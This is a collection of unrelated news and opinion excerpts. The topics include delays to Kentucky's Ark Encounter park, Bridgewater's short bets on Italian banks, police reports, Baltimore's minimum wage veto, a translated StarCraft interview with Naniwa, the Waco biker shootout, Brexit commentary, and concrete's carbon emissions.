Back in 2010, Ham promised to build a huge $172 million “Ark Encounter” theme park (complete with a full-sized ark replica) in Williamstown, Kentucky, near his Creation “Museum”. Ham managed to get the Commonwealth of Kentucky to promise $40 million in tax incentives, $2 in new roads to reach this remote location, and he got the city of Williamstown to commit to $62 million in municipal bonds for his project, plus a 75% property tax break. Altogether, Ham got various public entities to commit over $100 million in taxpayers’ dollars to aid his supposedly $172 million investment in the Ark Park. But that’s not the whole story. As reported by Americans United for Separation of Church and State:
It seems Ham’s ever-changing timeline has finally caught up with him. He said in January 2011 that work would begin on the Ark Park that spring; then in May of that year, AiG said groundbreaking would be over the summer; in June, AiG said construction would begin in August; and by early August 2011, AiG still had not broken ground but promised that it would happen “in the next few months. Then in late August 2011, AiG bumped the timetable way back, saying groundbreaking would begin in the spring of 2012. That did not happen, either. Louisville’s LEO Weekly reported last week that the large tax incentive package promised to the Ark Park back in May 2011 by Kentucky’s Tourism Cabinet came with one little catch: an expiration date. The agreement says that AiG can receive a 25 percent tax rebate on the cost of construction once the park opens, provided construction began by May 2014. The discount would be capped at $43 million. Gil Lawson, a spokesman for the Tourism Cabinet, told LEO Weekly that Ark Encounter quietly withdrew its old application for a $172 million project on March 28 and instead submitted a $73 million proposal. If that application is approved, and if it is built within the allotted timeframe, that would mean AiG is eligible for $18.25 million in tax incentives, LEO Weekly said. But the shrinking tax package doesn’t appear to be Ham’s only problem. In April, the Cincinnati Enquirerreported that the local road improvements needed to handle all the traffic that will supposedly rush to Ark Encounter (if it ever opens) will be pushed back to 2017. That’s a bit of a problem for Ham, who last claimed that the park would open in the summer of 2016. Perhaps he wants park visitors to have an authentic Bible experience by walking or riding camels to see the ark. There is also some mystery surrounding the $62 million in municipal bonds that supposedly rescued Ham’s project. The Louisville Courier-Journal reported in January that while $26.5 million in bonds had been sold, the city needed to sell an additional $29 million by Feb. 6 or else those who already bought bonds would be able to collect on their investment immediately. The city would not say exactly how much money was raised, the Courier-Journal reported in late February, but AiG’s website claims the bonds actually yielded $73 million. AiG also claims it has raised $15 million on its own. Despite these setbacks, Ham presses on. His latest ploy appears to be keeping up the hoax that the Ark Park is under construction. In February, he said groundbreaking would begin in May. On May 1, AiG hosted a “groundbreaking ceremony” at the site where the park is supposed to be built, but the “groundbreaking” consisted of a handful of men in suits using wooden mallets to hammer wooden pegs into wooden boards. This all took place inside an auditorium, which doesn’t look much like a theme park. (You can watch this exciting video here, but be warned – it’s over 40 minutes long.) It is now June, and it remains unclear whether or not construction has actually started on Ark Encounter. AiG’s website says its “construction management team” is still soliciting bids from contractors, suggesting that no real progress will be made anytime soon. Misguided Kentucky lawmakers promised Ham piles of cash starting in 2010 because they believed Ark Encounter would eventually bring in tourists and create jobs. It’s been almost four years, and AiG hasn’t generated a single dollar or job for Kentucky. Ham will surely keep his con going for as long as he can, but Kentucky has no reason to stick with this sinking ship. In February Ham proclaimed, “Let’s build the ark.” Let him build it if he can, but with money AiG raises on its own. It’s long past time for Kentucky to pull the plug on this boat to nowhere, and we hope it finally will.
This bet – against five banks and one insurance company, includes Intesa Sanpaolo, Unicredit, and insurer Assicuraziono Generali.
Bridgewater hasn’t disclosed their reasoning for the short positions, however as ZeroHedge notes:
it likely has to do with recent proposed revisions to the ECB’s treatment of bad debt held on bank balance sheets. Under the ECB’s new proposal, banks will have to provision against the entire potential loss on newly-classified nonperforming loans that aren’t backed by collateral after two years. While details are still scarce and the ECB has promised to publish plans for existing bad loans, including “appropriate transitional arrangements,” by the end of the first quarter, Italian banks are expected to be hit hardest by the revised treatment of NPLs.
Why Italy? Because the country’s banking industry remains saddled with €318 billion in bad loans – a third of Europe’s total. Indeed, concerns about the impact of the ECB’s bad-loan proposal on the earnings of European banks, prompted a 7% percent drop in an index of Italian banks in the six days through Tuesday, pulling Italy’s FTSE MIB Index down from two year highs. Italy’s FTSE Italia All-Share Banks Index has dropped 4.5 percent since the ECB’s Oct. 4 announcement that it plans to revise bad loan provisioning standards.
Let’s not forget
Italy’s largest bank, Monte Paschi received special permission from the Italian government and the EU to tap Italy’s Treasury instead of the European Central Bank for an 8.8 billion bailout.
So while the ECB has mandated that banks will need to be able to absorb losses from newly-classified nonperforming loans not backed up by collateral, no guidelines have been issued for existing bad loans – which the European Central Bank has promised to publish.
Scammy Bridgewater?
Jim Grant of Grant’s Interest Rate Observer told Bloomberg he was “bearish” on Ray Dalio’s $160 billion Bridgewater, because the fund has become “less focused on investing, while the firm lacks transparency and has produced lackluster returns.”
More specifically:
Bridgewater has directly lent money to its auditor, KPMG, to which KPMH’s response is that “these lending relationships . . . do not and will not impair KMPG’s ability to exercise objective and impartial judgment in connection with financial statement audits of the Bridgewater Funds.”
Bridgewater has 91 ex-employees working at its custodian bank, Bank of New York .
. Only two of Bridgewater’s 33 funds have a relationship with Prime Brokers. In these two funds, Bridgewater Equity Fund, LLC and Bridgewater Event Risk Fund I, Ltd., 99% of the investors are Bridgewater employees.
Opaque ownership concerns: “Two entities—Bridgewater Associates Intermediate Holdings, L.P. and Bridgewater Associates Holdings, Inc.—are each noted as holding 75% or more of Bridgewater.”
Why the massive, and expensive, ETF holdings: “The June 30 13-F report shows U.S. equity holdings of $10.9 billion. The top-16 holdings, worth $9.5 billion, or 87% of the reported total, come wrapped in ETFs, including the Vanguard FTSE Emerging Markets ETF, the SPDR S&P500 ETF Trust and the iShares MSCI Emerging Markets ETF . Beyond the fact that Bridgewater reports holding few U.S. equities, you wonder why such a sophisticated shop would stoop to such a retail stratagem. Surely the Bridgewater brain trust could replicate the ETFs at a fraction of the cost that the Street charges.”
. Beyond the fact that Bridgewater reports holding few U.S. equities, you wonder why such a sophisticated shop would stoop to such a retail stratagem. And perhaps most troubling, is the SEC in cahoots with Bridgewater? “Lorenz asked the SEC how Bridgewater’s answers comply with the requirement to “[p]rovide your fee schedule.” Via email, the agency replied, “Decline comment, thanks.”
With its new short on Italian banks – even if Bridgewater redeems itself performance-wise, there are still many troubling aspects of the fund’s relationship to KPMG and the SEC.
The alleged incident was reported around 6:30 p.m. Tuesday at the Autumn Ridge Apartment Complex in Gloucester Township.
According to CBS Philly, officers initially responded to a report of a man who attempted to inappropriately touch a 49-year-old woman near one building of the complex.
While investigating that incident, a separate incident was reported to officers near another building of the apartment complex.
The second incident involved a man who approached a 20-year-old woman and started helping get snow off her car. According to police, the man then attempted to place his arm around her and reached for her chest, CBS Philly reported.
Police say the woman kicked the suspect and screamed, and the man ran away.
The two incidents occurred within 10 minutes of each other, and the suspect in both is believed to be the same man.
The suspect is described as a black male in his early 20′s, brown eyes, 5’8″ to 5’10″, medium build with a “pointy nose.” He was last seen wearing a black puffy coat, dark pants, a dark knit cap with a scarf covering his mouth.
Anyone with information is asked to call 911 or the GTPD Anonymous Crime Tip Line at 856-842-5560.
Veto it.
The only question was how would she frame the decision, considering her clear campaign promise a year ago to sign the bill.
It was the first question she was asked during today’s brief news conference to announce her planned veto.
At the time she made the campaign pledge, Pugh said to a group of reporters, “I wasn’t aware I was going to have to come up with the money to fix up our school system. Nor was I aware of the fact that I would walk in the door and I’ve got a DOJ federal contract that I have to deal with that’s on my desk, a consent decree. We don’t know at this point what that cost is going to be.”
But what about her statements in interviews and written answers in candidate questionnaires unequivocally promising to sign a $15 minimum wage bill?
“I don’t think they would make me swear on a Bible. They asked me: ‘Do I support?’ And I absolutely do support. But when you ask me as the chief executive officer of this city what I will do as it relates to the conditions of this city currently and where we are economically, I have a right and a responsibility to respond on behalf of all the citizens of this city.”
Pugh said she was persuaded, after talking with assorted community and business stakeholders as well as neighboring county executives, that raising the minimum wage to $15 in Baltimore would drive businesses out of the city, taking away jobs for the unskilled.
She said she decided the city should not get ahead of the state, which is raising the minimum wage to $10.10 by 2018.
“It’s important we follow the lead of the state,” she said. “We don’t want to be the hole in the doughnut.”
Praise and Scorn
Her decision brought quick condemnation from the Fight for $15 Baltimore Coalition, which pushed a version of the bill last summer as far as the full City Council, where the measure failed.
“We are deeply upset that Mayor Pugh has broken her campaign pledge by vetoing this legislation, which promises to give tens of thousands of workers higher wages and the opportunity to lead self-sufficient lives,” said coalition chair Ricarra Jones.
“As a state senator, Mayor Pugh was a strong supporter of a livable minimum wage and explicitly promised to sign the Baltimore wage bill as mayor. Today, she has made clear that promises are made to be broken. The voters will remember her turn-around.”
The Greater Baltimore Committee, one of the most visible institutional opponents of the bill, was equally quick to applaud the mayor.
“The decision was no doubt a difficult one for the mayor. But this shows real leadership as she stayed true to the priority that Baltimore must remain competitive for growth and jobs,” GBC president and CEO Donald C. Fry said in a media release.
From some quarters, Pugh’s decision brought blistering scorn.
“An act of treason against the poor, the working poor, the underemployed, returning citizens, and single parents” was how Rev. Cortly CD Witherspoon Sr., president of the city chapter of the Southern Christian Leadership Conference, described the mayor’s decision.
“I think it’s very clear that she abandoned the interest of her constituents in exchange for the interest of her financiers – big business,” Witherspoon said, in a media statement.
“The mayor’s veto is equivalent to a vote in favor of utility shut-offs, evictions, homelessness, and hungry children.”
Others quickly predicted there would be a political price for Pugh to pay.
“Mayor Pugh killed any reelection hopes she had if she had them,” said law student Duane Bond Jr. on Facebook within minutes of the announcement.
“#Fightfor15 was easily a Top 3 campaign issue and she just turned her backs on everyone that voted for her.”
Union Supporters in Shock
Pugh’s reversal brought deep disappointment, perhaps most strikingly from one of her staunchest defenders during the campaign.
Mark McLaurin, a political director at SEIU, the union at the center of the “Fight for 15” effort.
“No one has been a more ferocious and determined defender of Catherine Pugh than me. Until the end, I never believed she would actually do what she did today,” McLaurin wrote on the Baltimore Voters Facebook page.
“It’s particularly painful because I considered her to also be my friend and I still believe that she loves Baltimore every bit as much as I do. But she is getting really poor advice,” McLaurin wrote.
“This is an awful and sad day for low wage workers across this city,” he continued. “My members knocked on doors, made calls and covered polls for her from every corner of this city and they did so in no small part because they believed in me.”
Attention now turns to the City Council, which could block the mayor’s veto with 12 votes.
Monday’s 11-3 Council passage had suggested an override might be possible, given that Councilman Brandon Scott, who missed the vote because of an out-of-town trip, was considered a supporter.
But even before Pugh summoned the media to City Hall for the Friday afternoon news drop, a vote to override was looking unlikely.
So Bobhund at Rakaka.se did a really good interview with Naniwa at Dreamhack that I really liked. So I decided to do my best at translating it to english. For your amusement! This is the first time I do something like this, so please tell me if you like it and I will definitely do more of these!
Also, I'm sorry in advance for any typos or confusion!
The interview in Swedish:
Hi!So Bobhund at Rakaka.se did a really good interview with Naniwa at Dreamhack that I really liked. So I decided to do my best at translating it to english. For your amusement! This is the first time I do something like this, so please tell me if you like it and I will definitely do more of these!Also, I'm sorry in advance for any typos or confusion!The interview in Swedish:
Translated to english
+ Show Spoiler +
I = Interviewer
N = Naniwa
I: Bobhund from Rakaka.se reporting in, I'm here with Naniwa who unfortunately just went out of the tournament, how does it feel?
N: It doesn't feel too bad, I knew it could happen, I haven't practiced against Zerg for about a month cause I've only been playing against Terrans and Protoss in GSL. It still feels really bad of course, since I know I'm the better player, it just feels like.. I knew these maps would be played here but I went here anyways. I didn't think it would be as big of a problem as it was.
I: Yeah, we can get back to the maps later, I wanted to ask you about why you went here. You could have gone to spring arena, MLG. Why did you chose to come here?
N: Well, Sweden is where I'm from so that was a big factor. It's fun to come to Sweden as often as possible as I live in Korea, it's nice to speak your native language for once. And Asus wanted us to go here rather then to MLG, so it was either going to MLG alone, or come here with SaSe. And that felt like the better option. As well as being able to relax a bit here in Sweden before GSL.
I: You've said that you don't really care about what the fans say, except for the Swedish fans, why are the Swedish fans so much more important to you?
N: It feels like the international fans are more of fair weather fans, if you do well, you're the best and everyone loves you, but as soon as you do bad you get a hate-thread with 600 comments, that's what HuK got, and still he's one of the most loved players, which is just absurd. But from what I've seen on Rakaka and so on, I've always been supported by the Swedish fans. It's always nice to have a website you can go to and read without just reading a ton of shit.
I: Yeah I agree. You've been at a lot of Dreamhacks, and you say you love the Swedish fans. Would it be bigger for you to win a Swedish tournament rather then any other tournament. Or doesn't it really matter to you?
N: Oh yeah, that's one of my dreams I guess. I would much, much rather win a Dreamhack than an MLG for example. It would feel incredible to be able to stand at the top with the trophy in Sweden, with all the Swedish fans cheering, it would be incredible, but unfortunately that haven't happened yet.
I: As I said, you were just eliminated from the tournament, you talked a bit about the maps. What kind of maps did Dreamhack chose and how has it affected you?
N: Both me, SaSe and a lot of other progamers had a lot of complaints about the maps before we got here, we contacted “Hugge” who is the head admin here but we never got any assistance about it. He just said that's how it is and that it was nothing he was gonna change about it. And finally we were told that he was gonna modify the maps with supply depos and “space sharks” to solve the problems. So I guess that's when we realized the admins weren't very competent, but it was too late at the time.
I: Yeah SaSe said something similar when I talked to him at IPL. You said it was nice to be back in Sweden, has there been a lot of fans, interviews etc? Do you feel like a real star when you're here?
N: I wouldn't say I feel like a star. But there has been a lot more people now then before, of course. And that's always fun, but I never played to become famous, it's always just been a bonus. I get annoyed in USA with fans swarming you, but here it's fun. I think that's cause I'm not used to how people act in USA, they are a lot more “forward” and they always speak their mind. But it's mostly nice.
I: We can talk about something fun, GSL. You're trough to ro8 now, and you're gonna play MVP. I was thinking we could go back to the start of this GSL, when you were placed in the same group as MVP, Puzzle and Ryung. How did it feel before the tournament started? What did you think about your chances to advance?
N: To be honest with you I only practiced to win one map. I had lost code A three times, I just didn't want to embarrass myself. So if I just win one map I can at least say I gave it my best in the hardest league there is. But it seems like that attitude, not caring as much, removed all nervousness and made it possible for me to play as normal. So this resulted in me making good decisions, and at the end I felt at home in the GSL so I kept playing well.
I: Yeah, you beat Puzzle 2-1 and Ryung 2-0 and advanced. A lot of gifs were made after this, the double fist pump etc, and you looked really happy, and everyone at home was of course really happy for you! So if you went in expecting to win one map, and then advanced from the group, how did this feel after your victory? Did it feel unreal or...
N: Yeah absolutely, I got back to the ST house and I felt nothing, I didn't even think I had won, I didn't understand what had happened. But as I got in the house Bomber and the other guys high fived me so, it seems like I won! I didn't really realize it until I read TL, it did indeed feel unreal. It was just like when I won MLG, I just remember going home, feeling nothing. And then I read about it and I saw that I had won, which made me feel that I actually won.
I: So to continue on the unreal stuff, the next group play. That's when you beat Genius and Virus 2-0. When you went into this second group play did you have any more confidence?
N: Not really, I felt that out of the 16 that was left, I was the worst player. That's what I thought at least. And I wasn't surprised when I was picked first either. I thought to myself, alright Genius got second last GSL he's an amazing player, he has been in code S for two years now and it's not surprising that he picked me. When I was gonna play, all I had in my mind was which build to use while trying to stay calm, as well asking the Startale guys for some tips, I came up with a few ideas how I was going to play. And everything went exactly as I planned, it felt amazing!
I: SaSe came running into your booth after the game after the win. How important is SaSe to you? Both when it comes to practice and on a personal level, how important is it to have someone to talk Swedish to, over in Korea?
N: It's very, very important. I used to live on my own in the MVP house, and I was almost never at the house, I went out and met other friends as often as possible, like five times a week. So I barely got any practice. When you're that alone you can't really practice well either. I guess you could say me and SaSe have become best friends, we both think it's great to hang out with each other and it never gets boring. SaSe is perfect to me when it comes to practice as well, he practices a ton, and I'm more of a slacker. But when I see him play I get motivated to practice.
I: That's great to hear. Let's talk about ro8 and MVP, who haven't been all too impressive this season, he got second in both his groups for example. What do you think about your chances?
N: I have this rule, that I don't predict games before I play. But to be realistic I think I have an OK chance at beating him. I don't think he's that much better then Ryung or Virus. What I've seen from him in TvP this season he haven't been unbeatable. I will just do what I always do, prepare as much as possible. If I win, I win.
I: We all hope that you'll beat Jinros ro4 record and get to the finals! Do you have anything you'd like to say, shoutouts etc?
N: Thanks to Asus for flying us out here. And well... Thanks to SaSe for being funny, so that I'm not bored when I'm out of the tournament, I'm just sorry to all the Swedish fans that I still can't get far in a Dreamhack tournament. I just really hope Dreamhack starts listening to the players, or else the players will eventually pick other tournaments over Dreamhack.
I: I'm sure all of E-sport Sweden wishes you the best of luck in GSL, bye!
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A May 17 shootout at the Twin Peaks restaurant in Waco left nine bikers dead and about 20 wounded. Police have arrested nearly 200 people. At the time, Waco police said they confiscated “a thousand guns,” but had to revise that number down in the days since the gunfight.
Four of the dead bikers and at least one of the wounded were hit by bullets from .223-caliber bullets, the only weapon fired by Waco police officers that day, AP reported, citing ballistics reports and forensic evidence.
Two of the dead had wounds from only that kind of rifle bullets; the other two were shot by other guns as well. The rest of the victims were killed by bullets fired from a variety of other guns, AP noted, adding it was not clear whether any of the bikers arrested at Twin Peaks had .223 caliber rifles. Among the 400 or so weapons seized by the police were 12 “long guns,” according to the agency.
The ballistics analysis was conducted by the Southwestern Institute of Forensic Sciences.
In June, Waco Police Chief Brent Stroman said that his officers had fired a total of 12 rounds, using the semi-automatic setting on their rifles.
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Waco police had assigned 16 officers to watch the restaurant, with state officers in support, believing the gathering of bikers to be a potential public safety hazard. According to local media, the gathering was a legitimate political gathering organized by the Texas Confederation of Clubs and Independents (CoC&I), which was crashed by the Cossacks biker gang. Seven of the bikers killed in the shootout were members of the Cossacks.
The incident happened at about 2:30 a.m. Friday at Rieber Hall at 310 De Neve Drive. The suspect grabbed the victim from behind and attempted to sexually assault her.
Two witnesses intervened and the suspect ran off, but it didn't end there.
Police say the suspect groped a second victim at another residence hall before getting away.
The suspect is described as between 20 and 25 years old, about 5 feet 1 inch to 6 feet 1 inch tall, weighing between 180 and 200 pounds with a thin mustache. He was last seen wearing a blue tank top, blue jeans and tennis shoes.
A German man has been accused of trying to cause major commercial losses in New Zealand by claiming milk powder had been contaminated.
Maximillian Christian Zucker​, 20, allegedly "communicated information he believed to be false" about contaminated milk powder at Pacific Lab Holdings, in Marlborough, on Friday.
Police claim Zucker intended to "cause a significant disruption to commercial activity in New Zealand", likely to cause major economic loss to the company director.
Zucker worked for Pacific Lab Holdings at the end of the production line, where he stacked packages onto pallets before distribution, police said.
Zucker appeared at the Blenheim District Court on Monday.
It was not revealed in court how Zucker allegedly made his claim, or what the alleged contamination was.
​Duty solicitor John Holdaway said Zucker was in the country on a visa, staying in Marlborough, and was due to leave in five weeks.
He asked for the case to be remanded so Zucker could apply for legal aid.
Judge Richard Russell remanded him on bail to November 15.
His bail conditions required him to surrender his passport to police.
He was also banned from going to Pacific Lab Holdings and from leaving Marlborough.
It was not the first time milk powder was at the centre of criminal charges in New Zealand.
Auckland man Jeremy Hamish Kerr, 60, sent blackmail letters to Fonterra and Federated Farmers in 2014, threatening to poison milk powder with 1080 if use of the pest control poison was not stopped.
The letters were accompanied by a package of milk powder contaminated with 1080.
The Government took four months to reveal the threat to the public, concerned about the impact it could have on consumer confidence and the economy.
Economists said at the time the New Zealand dollar had a kneejerk reaction to the news, initially dropping about half a cent on the US dollar.
Police initially suspected anti-1080 protesters, but DNA testing of the letters pointed them to Kerr, who had developed a poison called Feratox to rival 1080.
In truth, I should put all of that first paragraph in the past tense because this current ownership group has dropped their collective wallet in the center of the table and pushed all-in more times than not. In a world of Maloofs and Sarvers it is nice to have some good old fashioned big spenders in the house.
With all that said, I do recall the days before Kevin Garnett when Wyc and company were promising to pay the luxury tax only if they thought that they were going to be contenders. It didn't (and doesn't) make sense to pay tax on a lottery team.
So with everyone from Doc to Danny to ownership admitting that this team isn't currently set up to be a serious contender, you have to at least start thinking of the money again. In fact, it goes beyond the "willingness to spend" aspect. In fact, the Celtics signed a cable package that will make them very lucrative profits outside of the direct basketball operations. They can afford the debits on the salary side with all the credits they are getting from other revenue streams.
The real problem is the new Collective Bargaining Agreement (CBA). The new pact (which Wyc and company helped negotiate by the way) inflicts stricter penalties on teams exceeding the cap and especially teams doing so in consecutive years (the "repeater tax"). It isn't just financial pain either. Check out this blurb from our friends at LOY's Place.
CELTICS GREEN BLOG: It’s the Money Stupid
Now ownership joins the dancing bear troupe. With the new CBA came series of ramped-up penalties, both financial and operational, for exceeding the Salary and Luxury Caps. Danny Ainge found himself mincing around the Luxury "apron" (could they have chosen a more mawkishly effeminate phrasing for their danger zone trigger). Go over the apron and they take away your sign-and-trade’s, cut short your MLE, steal your lunch money, and make you stand in the corner on one foot.
Restricting your GM tools is a draconian measure designed to dissuade the Lakers, Celtics, and other big pocket (big market) teams from going all Yankees/Red Sox on the rest of the league. That doesn't mean that teams won't do it with eyes wide open (the Lakers aren't batting an eyelash yet). It just gives GMs and owners pause before overspending for someone like a backup center.
Or cutting more to the core of our situation, it makes owners a lot more hesitant to pay aging stars what their legacy deserves. The decision isn't as easy as our sentimentality would wish for. Just take a look at what some other GMs think.
Talked to three NBA team execs over the weekend, and all three said if they ranthe Celtics, buying out Paul Pierce would be a no-brainer. — Sam Amico (@SamAmicoFSO) May 28, 2013
Doesn't mean buying out Pierce is what Celtics will do. It's just what would happen if those three execs were running team. — Sam Amico (@SamAmicoFSO) May 28, 2013
(Note: I think they mean "releasing" Pierce is a "no brainer" because buying him out is technically a different thing with different rules and impacts to the finances and the transaction itself.)
Now, that's easy for them to say. They don't have the banners and retired numbers looming down on them from the rafters. They don't have the lingering cigar smoke from older generations still wafting around the team offices. Basically you've got several opposing forces weighing on this decision to keep or release Paul Pierce.
On the "keep him" side you've got the fact that the guy can still play (when at full speed). There's also a very, very big sentimentality aspect. By that I don't mean just "wanting to keep him around because we like him." I'm talking about ticket buying fans willing to pay real money to see this "non-contending team." We're also talking about pleasing other veterans and a certain coach to stick around longer. We're also talking about future potential free agents watching to see how stars are treated in Boston.
Cap Questions: Can the Celtics sign a max free agent? Short answer: Not really. Click for the long answer.
On the "send him off" side you've got money and flexibility. It seems silly to pay a guy $5M to play for someone else, but when it means $10M of cap flexibility it becomes a little easier to understand. Granted, you can't just spend that $10M on another free agent (that would be too easy). But backing off the restrictions and tax penalties can free you up to do a lot more going forward.
Of course there's another option. You can trade him for assets in return. Getting something more directly in return for letting him go would perhaps make the biter pill go down easier with fans and players alike. Of course it takes two to tango and you have to weigh what you are willing to take in return. Sometimes the cure can be worse than the disease (look up the specifics of the Vin Baker trade sometime).
ROBERT GRAVES is not remembered for his poetry. A British writer born to “Irish-Scottish-Danish-German” parents in 1895, he is best known for his memoir of the first world war, “Goodbye to All That”, as well as for a historical novel “I, Claudius” and for his books on the Greek myths, which introduced classical deities to everyday readers. His poetry was, in his own words, “eccentric”. Unlike Siegfried Sassoon or Wilfred Owen, he is not publicly venerated as a first-world-war poet. Although he wrote at the same time as modernists such as T.S. Eliot and Ezra Pound, and spent 13 years of his life with Laura Riding, an experimental American writer, he himself preferred “traditional metres and rhymes”. As a result, his poems have been largely neglected.
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A new collection of his selected poems, edited by Michael Longley, an Irish poet, aims to draw more readers to his work. From 1916 until his death in 1985, Graves wrote over 140 works of fiction, non-fiction, memoir and poetry. His poems, with what Mr Longley describes as their “strange brocaded richness”, influenced Ted Hughes, Sylvia Plath and Philip Larkin. Few writers wrote so piercingly about the first world war.
Certain themes emerge. Married twice, with several lovers and at least eight children, Graves was a prolific writer of love poems. Sparing and mostly unsentimental, these poems reverberate with echoes of John Donne, a 16th-century poet and writer of metaphysical love poetry: “We looked, we loved, and therewith instantly/Death became terrible to you and me.”
Graves writes with a jaunty lyricism, moving from sonnets to ballads. Poems about nature, the graceful swoop of birds in flight and the delightful “quiet of an English wood” recur throughout the collection. Characters from Greek myths frequently appear. He was not afraid to make up words, such as “lubberland of dream and laughter”, or veer into nonsense verse.
But the finest poems in this collection are those that deal with the first world war. Graves fought in France in 1915 at the Battle of Loos and on the Somme, and was reported dead at 21. On returning to England he suffered from shell shock; the noise of a car backfiring would send him to the ground. His poetry recalls his time in “soul-deadening trenches”, when mice would crawl down the backs of soldiers as they dozed between engagements. In combat there is a sense of “unreality/in the proceedings”. Back home the faces of the dead are glimpsed amid the living. Over it all hangs the unanswered question, “Is this joy?—to be doubtless alive again,/And the others dead?”
For a hitherto small-town, small-minded Yorkshireman, it was overwhelming to sit for meals on mats on the floor of a dusty field in Bihar along with thousands of other people, and to have boiled rice served out of buckets onto banana leaf plates along with slops of runny yellow dal, which I was expected to eat with my right hand. Luckily, I had reserve supplies of Mars bars.
Above all, I cherished the boundless hospitality and endless energy and initiative of so many Indians. I came back to London energized, enthused. What a country, what people, still with mixed feelings for their former colonial masters, who had brought them the joys and curses of the English lingua franca, a united India — until they cut it into three bits as their leaving present — and a modern government, which they tied up with endless red tape. What if Britain could make its Commonwealth a real living leading thing, dedicated to the economic development of billions of people all round the world?
My dreams were smashed by an astute Indian diplomat to whom I confided them. “Britain’s colonial days are over; we don’t want a new imperialism,” he declared, though that was far from my naive imaginations of a great global cooperation.
The diplomat was correct, and India went its own way. Even the old white “dominion” members of the former British Empire developed economic, political and strategic relations distant from Britain. After years of fruitless attempts to set up a free trade area in Europe, Britain joined the European Union. As U.S. President Barack Obama noted, the union gave Britain economic and political clout above and beyond its status as a middling former imperial power. But now arthritic Britain imagines it can walk tall without the EU and has voted to leave. Prime Minister Theresa May will formally trigger Brexit next week.
So I was surprised to listen to strangled echoes of my old dreams when May revealed her “Plan for Britain” after Brexit: She claimed that the British people “voted to leave the European Union and embrace the world.”
As a vision it was 50 years too late in its official articulation, and 150-200 years too late in having the means of accomplishment. Britain no longer has the gunboats to enforce its will, nor the great explorers, traders or manufacturers or, especially, politicians, who comprehend the world.
May talked of a “truly global Britain” which would be “a secure, prosperous, tolerant country — a magnet for international talent and a home to the pioneers and innovators who will shape the world … the best friend and neighbor to our European partners, but a country that reaches beyond the borders of Europe. …”
Frankly, I fear the terrible mayhem she threatens to inflict on my country. Her speech was full of loose political talk, false claims, promises that she will not be able to keep, and deals beyond her reach. Japanese companies that have invested heavily in Britain as a base for Europe may particularly rue May’s mayhem. Did she consult the heads of the wonderful British universities about how to attract talented students and innovators — whom May’s immigration rules are driving away?
May audaciously claimed that membership of the EU “came at the expense of our global ties, and of a bolder embrace of free trade with the wider world.” The fortress of the home ministry, where May previously worked, obviously prevented her from seeing how the EU enabled Germany’s rise as industrial power, snapping up the bluest British blue chip manufacturer, Rolls-Royce.
Did she even talk to herself? Before the referendum, May told Goldman Sachs bankers that leaving the EU would a big mistake because membership in the EU with its population of 500 million was a magnet luring investors to Britain.
What did the British people want when 51.89 percent voted to leave the EU and 48.11 percent to remain? On a turnout of 72.21 percent, that means that 37.47 percent of eligible voters supported Brexit, impressive but hardly “the people have spoken.”
If you ask a dozen people who voted for Brexit, you would get at least half a dozen answers about what they wanted, including control of immigration, freedom from eurocratic laws, protests about growing inequality, and payments to the Brussels machine. None of these issues can be sorted out simply by leaving the EU. Brexit leaders promised — falsely — that the United Kingdom’s beloved and beleaguered national health service would get a £350 million a week boost if people voted to leave.
May would prefer a soft Brexit — meaning keeping friendly ties, open trade relations and a profitable role for the City of London — but is set against paying the price of free movement of workers. A hard Brexit — a nasty divorce where Britons may have to get visas for the EU and trade is subject to prolonged wrangling — will bring out the old die-hard Battle of Britain spirit. It’s a major mistake to invoke wartime for what May claims should be an amicable departure from an economic club.
There is also the political fallout. Trump’s right-hand man Steve Bannon is trying to sabotage the EU in favor of a deal with Russia. May should be careful of wanting Britain to jump into bed with Trump while divorcing the EU.
There is no easy way out. Much-maligned former Prime Minister Tony Blair correctly noted that the British people voted without knowing the terms of exit: They should have the right to change their minds when they understand the divorce terms. A new referendum or at least a free vote in parliament is the least that May should allow on such a momentous divorce. But she seems to be lost in dreams of a latter-day empire.
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The station at Bilaspur in Chhattisgarh was third among the 75 A1-category railway stations followed by Solapur and Mumbai Central in Maharashtra, Chandigarh, Bhubaneshwar (Odisha) and Vadodara (Gujarat), said the preliminary report of the survey, which was released by Railway Minister Suresh Prabu today.
Bringing up the rear were Guwahati, Hazrat Nizamuddin (Delhi), Sealdah (West Bengal), Kanpur Central (UP), Bhopal (Madhya Pradesh) and Muzaffarpur (Bihar).
“The idea is to make the entire rail network clean. This is just the beginning of a process which will actually and eventually bring all stations on a par to a particular standard,” Prabhu said.
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He said the move is in line with the budget announcement of taking steps to improve the cleanliness at the 8,000 stations in India and take forward the ‘Swachh Rail Swachh Bharat’ mission.
[related-post]
In ‘A’ Category (332 stations), among the top 10 cleanest stations were Beas (Punjab), Jamnagar and Gandhidham (Gujarat), Vasco-Da-Gama (Goa), Kumbakonam (Tamil Nadu) and Nasik Road (Maharashtra).
Shahganj, Ballia and Janghai (Uttar Pradesh), Madhubani and Bakhtiyarpur (Bihar) and Raichur (Karnataka) were among the 10 least clean stations.
Rail Ministry had entrusted the task of the survey to Indian Railway Catering and Tourism Corporation (IRCTC), which engaged TNS India Pvt Ltd for undertaking the work.
As many as 75 A1 and 332 A category stations across 16 zonal railways were covered by the survey, which was based on passenger feedback.
The survey was conducted through interviews with passengers who were asked to rate the cleanliness of stations on 40 different parameters.
The final report, which will also factor in the existing infrastructure, responses from railway staff and non-railway service providers, is expected to be submitted to the Rail Ministry shortly, an official said.
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Think of it this way. The stretch of sidewalk in front of your house? That is you and your spouse’s share. That concrete truck rumbling down the street? It holds a yard for each member of the New York Yankees’ starting lineup. Add the Mets and the Red Sox, and you have enough for the typical house foundation and basement floor.
But those are small projects. The St. Anthony Falls Bridge used about 50,000 yards of concrete. Hoover Dam used more than three million. And the Three Gorges project in China contains more than a yard for every man, woman and child in Canada, population 33 million.
All that concrete may seem the same. And the basic product did remain relatively unchanged since the invention of Portland cement in the early 1800s. (The ancient Romans made concrete, too, but from volcanic ash.) Producers have always tinkered with the mix to find the right proportions of concrete’s basic ingredients, but the recipe never varied much.
Now the experimentation is more elaborate, designed to tailor the concrete to the need. Increasingly, that need includes the environment. Aesthetic considerations aside, concrete is environmentally ugly. The manufacturing of Portland cement is responsible for about 5 percent of human-caused emissions of the greenhouse gas carbon dioxide.
“The new twist over the last 10 years has been to try to avoid materials that generate CO2,” said Kevin A. MacDonald, vice president for engineering services of the Cemstone Products Company, the concrete supplier for the I-35W bridge.
